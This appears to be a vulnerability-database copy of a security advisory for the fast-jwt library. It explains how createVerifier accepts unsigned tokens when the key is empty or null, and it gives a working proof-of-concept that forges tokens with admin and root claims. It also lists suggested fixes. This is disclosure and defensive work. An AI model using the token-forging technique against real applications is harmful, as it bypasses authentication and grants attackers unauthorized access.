GHSA-8WPC-H4Q6-8FXV

Vulnerability from github – Published: 2026-10-08 22:02 – Updated: 2026-10-08 22:02
VLAI
Summary
fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
Details

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
  throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

function prepareKeyOrSecret(key, isSecret) {
  if (isSecret && key.length === 0) {
    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)
}

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) {
  throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
  throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

if (signature && !verifySignature(header.alg, key, input, signature)) {
  throw new TokenError(/* invalidSignature */)
}

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

  • createSigner({ key: '' }) / key: null → rejected
  • createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests)
  • createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')

function unsigned(alg, claims) {
  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
  return `${h}.${p}.`  // trailing dot = empty signature
}

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }

// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE

try { createVerifier({ key: '' })(token) }
  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY

Expected: TokenError with code FAST_JWT_INVALID_KEY Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

  1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWT_SECRET || ''), and
  2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

if (keyType !== 'function') {
  if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
    throw new TokenError(TokenError.codes.invalidKey,
      'The key cannot be null, empty, or a zero-length buffer.')
  }
}

Also guard the combination explicitly:

if (!key && allowedAlgorithms.length > 0) {
  throw new TokenError(TokenError.codes.invalidKey,
    'The key cannot be falsy when algorithms is set.')
}

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.3.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:02:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`createVerifier` in fast-jwt \u2264 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`\u0027\u0027` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application \u2014 regardless of algorithm \u2014 can forge arbitrary claims without possessing any signing key.\n\n### Details\n\n**Root cause \u2014 four cooperating code paths:**\n\n**A. Falsy sync keys bypass `prepareKeyOrSecret`**\n\n`createVerifier` branches on `typeof key`:\n\n```js\nconst keyType = typeof key\nif (keyType !== \u0027string\u0027 \u0026\u0026 keyType !== \u0027object\u0027 \u0026\u0026 keyType !== \u0027function\u0027) {\n  throw new TokenError(/* ... */)\n}\nif (key \u0026\u0026 keyType !== \u0027function\u0027) {\n  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))\n}\n```\n\nWhen `key` is `\u0027\u0027` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key \u0026\u0026 ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys:\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (isSecret \u0026\u0026 key.length === 0) {\n    throw new TokenError(TokenError.codes.invalidKey, \u0027The key cannot be an empty string or buffer.\u0027)\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\n**B. Explicit `algorithms` keeps an allowlist active with no key**\n\nWhen `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `[\u0027HS256\u0027]`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list.\n\n**C. `hasKey` is false \u2192 missing signature is permitted**\n\n```js\nconst hasKey = key instanceof Buffer ? key.length : !!key\n\nif (hasKey \u0026\u0026 !signature) {\n  throw new TokenError(/* missingSignature */)\n} else if (!hasKey \u0026\u0026 signature) {\n  throw new TokenError(/* missingKey */)\n}\n// !hasKey \u0026\u0026 !signature \u2192 fall through with NO crypto\n```\n\nAn unsigned token (`header.payload.`) produces `signature === \u0027\u0027`, which is falsy, so both branches are skipped.\n\n**D. Signature check is gated on `signature` being truthy**\n\n```js\nif (signature \u0026\u0026 !verifySignature(header.alg, key, input, signature)) {\n  throw new TokenError(/* invalidSignature */)\n}\n```\n\nEmpty signature \u2192 condition is `false` \u2192 `verifySignature` is never called.\n\n**E. Signer / verifier asymmetry**\n\n- `createSigner({ key: \u0027\u0027 })` / `key: null` \u2192 **rejected**\n- `createVerifier({ key: async () =\u003e \u0027\u0027 })` \u2192 **rejected** (GHSA empty-secret tests)\n- `createVerifier({ key: \u0027\u0027 | null, algorithms: [...] })` \u2192 **accepted**, then verifies unsigned tokens\n\nIronically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed.\n\n**Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c).\nThis is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609).\n\n### PoC\n\n```bash\ncd /tmp \u0026\u0026 git clone --depth 1 https://github.com/nearform/fast-jwt.git \u0026\u0026 cd fast-jwt \u0026\u0026 npm install\n```\n\n```js\n// poc-empty-key-bypass.js\nconst { createVerifier } = require(\u0027.\u0027)\n\nfunction unsigned(alg, claims) {\n  const h = Buffer.from(JSON.stringify({ alg, typ: \u0027JWT\u0027 })).toString(\u0027base64url\u0027)\n  const p = Buffer.from(JSON.stringify(claims)).toString(\u0027base64url\u0027)\n  return `${h}.${p}.`  // trailing dot = empty signature\n}\n\nconst token = unsigned(\u0027HS256\u0027, { sub: \u0027attacker\u0027, admin: true, role: \u0027root\u0027 })\n\n// Vulnerable: key \u0027\u0027 + explicit algorithms allowlist\nconst verify = createVerifier({ key: \u0027\u0027, algorithms: [\u0027HS256\u0027] })\nconsole.log(verify(token))\n// \u2192 { sub: \u0027attacker\u0027, admin: true, role: \u0027root\u0027 }\n\n// Also works for RS256 / ES256 / EdDSA allowlists and key: null\nconsole.log(createVerifier({ key: null, algorithms: [\u0027RS256\u0027] })(unsigned(\u0027RS256\u0027, { admin: true })))\n// \u2192 { admin: true }\n\n// Negative controls (correctly rejected):\ntry { createVerifier({ key: \u0027secret\u0027, algorithms: [\u0027HS256\u0027] })(token) }\n  catch (e) { console.log(\u0027non-empty key:\u0027, e.code) }   // FAST_JWT_MISSING_SIGNATURE\n\ntry { createVerifier({ key: \u0027\u0027 })(token) }\n  catch (e) { console.log(\u0027empty key, no algorithms:\u0027, e.code) }  // FAST_JWT_INVALID_ALGORITHM\n\ntry { createVerifier({ key: Buffer.alloc(0), algorithms: [\u0027HS256\u0027] })(token) }\n  catch (e) { console.log(\u0027empty Buffer:\u0027, e.code) }   // FAST_JWT_INVALID_KEY\n```\n\n**Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY`\n**Actual:** payload returned with no signature check\n\n### Impact\n\nFull authentication / authorization bypass. Any application that:\n\n1. Uses `createVerifier` with `key: \u0027\u0027` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || \u0027\u0027`), **and**\n2. Sets `algorithms` to a non-empty allowlist (a recommended security practice),\n\nwill accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped.\n\n### Suggested fix\n\nIn `createVerifier`, fail closed before binding the verifier:\n\n```js\nif (keyType !== \u0027function\u0027) {\n  if (key === null || key === \u0027\u0027 || (Buffer.isBuffer(key) \u0026\u0026 key.length === 0)) {\n    throw new TokenError(TokenError.codes.invalidKey,\n      \u0027The key cannot be null, empty, or a zero-length buffer.\u0027)\n  }\n}\n```\n\nAlso guard the combination explicitly:\n\n```js\nif (!key \u0026\u0026 allowedAlgorithms.length \u003e 0) {\n  throw new TokenError(TokenError.codes.invalidKey,\n    \u0027The key cannot be falsy when algorithms is set.\u0027)\n}\n```\n\nThe async path (key function resolving to `\u0027\u0027`) is already hardened via `prepareKeyOrSecret` and does not need to change.",
  "id": "GHSA-8wpc-h4q6-8fxv",
  "modified": "2026-10-08T22:02:12Z",
  "published": "2026-10-08T22:02:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/pull/649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/releases/tag/v6.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-jwt: createVerifier accepts unsigned JWTs when key is \u0027\u0027 or null and algorithms is explicitly set"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…